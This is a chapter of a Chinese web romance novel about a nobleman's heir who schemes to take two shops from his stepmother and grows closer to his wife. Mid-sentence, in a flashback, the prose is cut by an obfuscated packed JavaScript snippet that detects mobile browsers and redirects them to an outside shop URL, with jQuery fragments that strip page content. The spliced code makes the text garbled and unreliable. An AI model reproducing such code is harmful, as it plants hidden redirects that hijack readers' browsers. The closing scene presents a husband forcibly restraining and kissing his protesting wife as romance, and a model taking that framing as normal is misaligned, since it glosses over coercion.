24. 第 24 章

作品:《纨绔休妻记

    宗越离府之后,去了名馥楼,先见了傅掌柜,与他问了些自家铺面的事。


    傅掌柜虽讶异宗越怎么会突然关心起自家的生意,仍是如实相告。


    “世子,您也知道,这些年来,铺子的掌柜已经陆陆续续都换了一遍,我虽名义上依旧是主理人,但其实很多事情,是侯夫人直接做主,铺面的账册,都是直接交与侯夫人的,并不经过我手,是以各铺面而今状况,我并不清楚。”


    他想了想,又说:“不过上回对少夫人那三个铺面的账目,倒算干净,虽然……窟窿账多了些,但旧管、新收、开除、实在四柱,都清清楚楚,对应的上。”


    宗越颔首。那三个铺面他常去,会不定期讨要账册来看,之前也曾有不清楚的地方,那掌柜被他打了几回,已经老实,想来不敢再乱动手脚。


    “现下生意最好的,是不是还是四通市的千家布庄和百香坊?”


    四通市主要为蕃商聚所,千家布庄的丝绸生意,百香坊的香料生意,都是直接与蕃商打交道,虽明面上看着不如东市这厢的铺面热闹,实际盈利却是所有铺面中最高的,也是夏氏掌家之后,最先换掉掌柜的铺面。


    傅掌柜虽已许多年不曾见过这两个铺面的账册,但与诸色商贾常有往来,对两个铺子的大致情况仍是了解的,遂点头肯定了宗越的说法。


    宗越眉梢扬起几分得意,“帮我寻两个靠谱的掌柜,我要换人。”


    “难,侯夫人有侯爷撑腰,世子您,又是个败家的名声,侯爷不松口,您怕是办不成。”傅掌柜并不怕宗越生气,直截了当地说。


    “办得成。”


    宗越胸有成竹地在指间转了下短刀,叮一声按在桌上,“我去年存在你这儿的东西拿来。”


    名馥楼是宗家的食店,由傅掌柜直接打理,宗越偶尔会在这里储藏东西。


    两个小厮奉命抬来两个大瓮,一瓮上墨书“左”字,另一瓮上写“右”。


    宗越亲自揭开左瓮,去掉密封严实的塞子,倒出铺在里面的石灰、炒米,拿出一个黑乎乎的东西来。


    他去年随姐夫肃王去辽东时猎得一头黑熊,人都说熊掌味至美者莫过于辽东黑瞎子的右掌,他特意将左右掌都砍下来,分开储存,就是要看看,是不是真如传言所说,右掌更美味。


    宗越抖了抖左掌上面沾染的米粒,闻了闻,又叫傅掌柜和小厮闻,“臭不臭?”


    熊掌腥臭味极重,砍下来之后不能立即吃,要擦干血水,放进分层铺有石灰、炒米的瓮中,密封后再放入冰窖储存,存个一年半载再行料理。


    这左掌已经封存了一年半,宗越闻着还是有些臭,遂叫其他人再确认一下。


    傅掌柜和小厮也都觉臭。


    “兴许熊掌就是这个味道,洗一洗,再用蜜蜡煮一煮,说不定就不腥了。”傅掌柜道。


    宗越略一思忖,打开右瓮,拿出那只右掌闻了下,明显察觉没有左掌臭,又令傅掌柜和小厮闻过,都觉如此。


    莫非这就是左掌不如右掌美味的缘故?


    “世子,要吃熊掌了么?”


    宗越点头,“腊月初我爹生辰,我打算给他份贺礼。”


    熊掌难得,辽东熊掌更是难得,辽东熊掌的右掌便是难得中的难得,足称得上一份稀贵而用心的寿礼。


    “那,先吃右掌?”


    傅掌柜就要命人把左掌装回瓮里,左掌臭味浓,再存放些时日或许会好。


    “先吃左掌。”宗越说道。


    这左掌腥臭,料理起来一定不及右掌美味,右掌他要留着姨母的生辰宴再吃。


    “左掌,不臭么?”傅掌柜不解宗越何意。


    宗越瞧着左掌,定定说道:“这是右掌。”


    傅掌柜无言以对。


    ···


    腊月初,安丰侯的生辰宴上,宗越便献上了烹制好的熊掌。


    好在那左掌经一番费功夫的烹制,腥臭味几乎尽除,安丰侯听闻是宗越不远万里特意从辽东带回的熊右掌,眼中的笑意怎么压都压不住。


    又加宗越之前就已主动说不纳那个倡妾,这段日子也规矩本分,日日早起来给他请安,安丰侯甚为满意,又见席上罗婉时时纠正宗越举止,免他随性失礼,便将宗越近来孝顺都归功于这位儿媳,当着诸位小辈的面对她一番赞许,最后特意嘱咐两个在室女儿:“今后要多向你们长嫂学习。”


    宗季蓉乖巧说是,宗孟芙却不服气,不应安丰侯的话,被夏氏瞪了一眼,才不甘不愿地说了句是。


    宴上喜乐融融,酒过三巡,夏氏特意安排曹姬献舞,又对安丰侯说:“听闻曹姬是胡玉楼的头牌,一曲柘枝舞天下无双,便是王府里请她去,也得提前邀约呢,托元郎的福,咱们随时随地都可观赏。”


    提起曹姬,安丰侯到底有些不高兴,瞪了宗越一眼,碍于生辰喜宴,没再多说什么。


    夏氏遂又一番好言好语,说着宗越如何如何孝顺,末了道:“侯爷,元郎给您献了这样一份大礼,您就别再责怪他了,也遂他一桩心愿,允他纳了曹姬,也好早日给咱宗家开枝散叶呀。”


    曹姬是个聪明的,知道今日场面不一般,特意选了一身周正守礼的舞服,跳的虽还是柘枝舞,却完全舍去了逢迎勾诱的妩媚动作,只留健美飒爽之姿。


    舞罢,与诸人斟酒时,也目不斜视,规矩本分如良家子。


    夏氏继续说着曹姬的好话,安丰侯动摇,一摆手妥协道:“你是他母亲,你安排吧。”


    罗婉听见这话,面色一滞,但公爹和婆母自顾自地商量着,并没询问她的意见,她也不能贸然开口。


    仔细想,她没必要拒绝,曹姬是宗越重金买回来的,早晚要纳为他的妾。既如此,早一点晚一点也没太大差别,且随他们去吧。


    她神色如常地自斟酒来喝,权当没有听见北面正席上的话,却听宗越说道:


    “父亲,我好像听见你说要赏我东西?”


    安丰侯只当他听见要给他纳妾,迫不及待了,揪着眉瞪他一眼,故意问:“你想要什么?”


    倒要看看,他有没有胆子当着他面说要女人。


    “我要你就给么?”宗越抱臂,露出很想要的意思来。


    安丰侯气哼,压制着情绪道:“你到底要什么?”


    “我最近认识了几个蕃商,听他们说来,做生意挺有意思的,我想跟他们谈生意。”


    竟然不是纳妾。


    安丰侯心里一阵舒畅,虽然他更希望宗越读书求取功名,但学做生意怎么着也比光想着纳妾强。


    “行啊,四通市的铺子都是和蕃商打交道,你且去谈,赚了钱,都是你的。”


    宗越亦是爽快应承,偷梁换柱地说道:“父亲放心,你给我两个铺子,明年我定再给你一份大礼。”


    “好,我等着你的大礼!”安丰侯少见地对宗越露出期许,有意激一激他,并没管他话里的陷阱。


    只把夏氏气的不轻,什么叫给他两个铺子?明明只说叫他去谈生意,何曾承诺两个铺子给了他?可这话本就模棱两可,她也不能当众跳脚说不给。


    凭那纨绔逆子怎会有这等机敏心思,一定是罗氏背后教唆!


    罗婉也没料到宗越特意献上熊掌,为的竟是两个铺子,但瞧夏氏皮笑肉不笑,极力压制着恼恨的神色,想那两个铺子概是动了她的心肝儿了。


    “夫君,来,多吃些。”


    罗婉含笑给宗越夹了一筷子菜。


    ···


    宴毕回到昆玉院,罗婉来着月事,已有些乏了,漱洗过,便想躺去榻上,偏宗越起了兴致邀她玩双陆棋。


    罗婉想起他在自己这里放了一锭金饼,想是存着心要赢回去,虽意兴阑珊,也还是陪他玩了几局,都输了,遂主动拿出金饼还给他。


    宗越一愣,反应过来她何意,“谁说玩钱了?”


    罗婉没忍住打了个哈欠,看着他,她实在不想陪他玩了,给她两锭金饼也不想玩了。


    宗越也瞧出她兴致索然,想了想,“我教你玩九连环?”


    罗婉觉得好笑,又不敢笑,为转移他拉着她玩耍这类物件的心思,说:“越郎,你真的想学做生意么?”


    宗越又开始转玩短刀,并不想回答这个问题。


    他当然不是真的要学做生意,他就是想把两个最赚钱的铺子从夏氏手里剥出来。


    剥出来,交给新的主子。


    “你会看账本么?”生意可以交给掌柜去打理,她只需要看懂账本,不要被人哄骗了去即可。


    罗婉愣住,他是什么意思?要把那两个铺子交给她掌管?


    “生意是我家的,你是我的人,这些事情,以后定须学会的。”


    他一本正经地说,见她仍在发愣,想到她玩双陆棋十分不在行,总是算不清战术步骤,九连环更是一丝兴趣也无,想来算学一般,看账本概是有些难度。


    “我可以教你。”看账本他是会的,且看的很快。


    罗婉想了想,“也好,正巧我这段日子在看三个铺面的账,有些地方不是很明白。”


    她命拂云拿来账册,翻到自己标记过有疑惑的地方,他几乎不假思索就说了出来,显然对这账本十分熟悉。


    他言简意赅,很快就将她疑惑解释了一遍,还传授了一些快速看账本的技巧给她。


    “学会了么?”他觉得这些东西比双陆棋和九连环容易多了。


    罗婉尴尬地笑笑,“越郎,你自去玩吧,我再熟悉熟悉。”


    宗越瞧出她学得慢,也没说话,嗯了声,自己去一旁玩九连环了。


    女郎坐在桌案旁看账本,时而停下托腮思量片刻,好像在用他教的心算法。男人在旁把玩着九连环,一会儿拆成四环,一会儿拆成五环,绕来绕去,拆拆合合。


    烛火煌煌,偶尔噼啪爆出一声灯花,但大部分时候,房内是沉静的,甚至有些冷清。


    宗越手下把弄着九连环,眼睛却不觉穿过烛火,落在了桌案旁她的身上。


    她坐在那里,身形清瘦端庄,长发斜拢披垂在一侧的肩膀上,轻轻翻着账本。她神色很专注,专注而平静,没来由地叫人觉着温暖可亲,想去靠近。


    是和三年前一样的感觉。


    那时,他在姨母家丢了玉佩,正低头寻找时,她忽然就到了跟前,柔声问着他可是在找什么东西。


    他不答,低头继续寻找。


    她却没有就此离开,反而默默陪着他一起寻找。


    最后那块玉璧真叫她找着了,她又含笑问他,需不需要帮他编成一个更结实点的玉佩。


    她那时概只有十六岁,笑意明灿,语声似水,望着他的眼睛里,只有纯净的善意和期许,不似很多人对他的,用虚伪的赞赏掩藏着鄙夷讥讽。


    面对着她,他说不出拒绝的话来,将玉璧交给了她。


    她又约定,七日后还他。


    他答应了,那七日几乎每天都要去一趟姨母家,去到两人约定好的水榭旁,心里想着她会提前赴约也说不定。


    也就在那几日,他查了她的来处


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081724|135562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,知道她是罗家长女,刚刚被人退婚不久。


    赴约那日,怕她认不出他,他特意穿了七日前见面时的那身衣裳。其实那身衣裳并不是他的,原是姨母做给二表兄的,二表兄穿了一日,嫌花里胡哨,不想穿了,但姨母很喜欢那身衣裳,觉得儿郎穿上去别有神采,二表兄不想惹姨母不开心,就叫他穿。他和二表兄不止容貌像,身形也几乎没差,穿上去也很合身,姨母看了很高兴,他便继续穿着了。


    那日他早早就等在了水榭旁,她也很准时地来了,还给他编好的玉佩。


    那玉佩编的实在精巧用心,可她一个邀功的字都没说,还给他便告辞离去,好像就是单纯地帮他一个忙,别无所图。


    可是后来他特意带着她弟弟玩耍,带她弟弟去看斗鸡,教她弟弟驯鹰戏犬,她知道后很生气,亲自到斗鸡场抓人,揪着罗家小弟的耳朵把人揪了出去。


    罗家小弟顶嘴,她甚至骂了他:“你跟谁学不好,偏要跟那个废物学,你有资格做个废物么?”


    至今想起,仍然气闷。


    原来她背后,也和其他人一样,认为他是个废物。


    现在呢,还做那样想法么?


    他突然很想知道答案,片刻也不欲等了。


    丁零零一阵,他故意朝她重重摇了摇九连环,引她转目望来,“你还觉得我是废物么?”


    问题来的猝不及防,且他那么认真,那么严肃,像方才教她看账本一样一丝不苟。


    罗婉不知他为何有此一问,却是立即说:“越郎,我从未觉得你是废物。”


    他眉梢挑了挑,似在说:从未?果真么?


    罗婉想起回门日家中小弟说他的坏话,叫他撞了个正着,自己虽没有附和,却也没有制止小弟,更不曾为他辩解。


    “越郎,从前对你不甚熟悉,大约有误解你的时候,可是,我之前说过了,我觉得你做的事很有趣。”


    罗婉思忖着,见他目若鹰隼,锐利地审判着她的话,似在辨别虚实真假。


    得说些实打实的,那些虚伪的夸赞骗不过他的。


    “越郎,你真的越来越让我惊喜,我实没想到,那熊掌竟是你亲自猎的,还有账本,我也没想到,你竟如此精通。”


    这话一点儿也不虚,宗越才收了审视的目光,伸手一提九连环,发出一阵清脆悦耳的丁零声。


    罗婉轻轻舒了口气,转过头继续看自己的账本。


    没有察觉,他的目光还驻留在她身上。


    当初,她一定是被罗家小弟气急了才会说出那种话吧?毕竟第一次见面时,她对他很好,很纯粹,也很用心。


    不管怎样,她现在是他的妻子了,明媒正娶,名正言顺的妻子,说着要和他生儿育女,受了委屈会和他告状的妻子。


    “过来。”他又丁零零一晃九连环,打断了她。


    罗婉不知他又要问什么突如其来的问题,立即转头说:“越郎,怎么了?”


    “过来。”他坚持。


    罗婉只好顺从地起身,正要在他身旁坐下,被他一伸手揽进怀中,按坐在他腿上。


    “……”罗婉诧异而局促,下意识挣了挣,被他绳索一般箍得更紧。


    他掐着她下巴锁住了她,不等她反应,薄凉的唇便沉沉压了下来。


    和他第一次做那事一样,没有一点章法和技巧,全凭着本能在亲她。


    罗婉甚至不知道他怎么会突然有了这样的念头,她明明好端端地看着账本,而他,也规规矩矩玩着九连环,怎么就突然起了邪念……


    便是在帷帐之内火热蛮横,他会强迫她抱着他,却也不曾亲过她。


    他秉持着一贯的脾性,用绝对的力量禁锢着她,那起初带着薄薄凉意的唇,在他毫无章法的碾压侵夺里,亦染上了她唇舌的温度。


    他的呼吸打在她面庞上,晕出一层层热意,那被他捧在掌中的小脸儿,早已是艳若桃李。


    他只给了她一霎那换气的时间,便又压了上去。


    主房内烧着地龙,她和他穿的衣裳都不是太厚,尤其他只穿了一层单袍,身体的变化她能清晰地察觉到。


    “越郎……”


    在他侵夺的间隙里,她艰难地想要说话,“我……来着……月事。”


    她昨日就告诉他了,她来着月事,这四五日都不成,让他去宴春阁。


    他在她这里除了做那事,几乎没有其他想法,他正是气盛的时候,每次对她总有使不完的劲儿,她也不会指望他能守着她忍过这几日。


    不过在她这儿多坐了会儿,他果然还是起了意。


    再纵容下去,怕他更像一匹脱缰的野马,不知道还要做出什么过分事来。


    “越郎……”


    她亦捧着他复欲再次压过来的面庞,“这几日不行的。”


    他轻轻松松拨开她的手,固执地还是压在了她唇上。


    在此一事上,他尤为我行我素,满足了才放开,望着她微微张着的、红润似熟透樱桃的唇,一向朗如星辰的眼睛晕开些干净的欲望。


    他无师自通地捋着她披垂在肩上的乌发,贴着她的衣裳,自上而下一寸寸滑过去,经那一处微微耸起的小山包时,捋着头发的手指似不堪承受那缕头发的重量,竟轻轻地往下压了压。


    “下次,不许留着衣服。”


    她来着月事,他这次当然不会有任何过分动作,他已提前告知她,便让她心里有些准备。


    下次,以后,他都不会再由她留着那身寝裙,他要完完全全拥有她。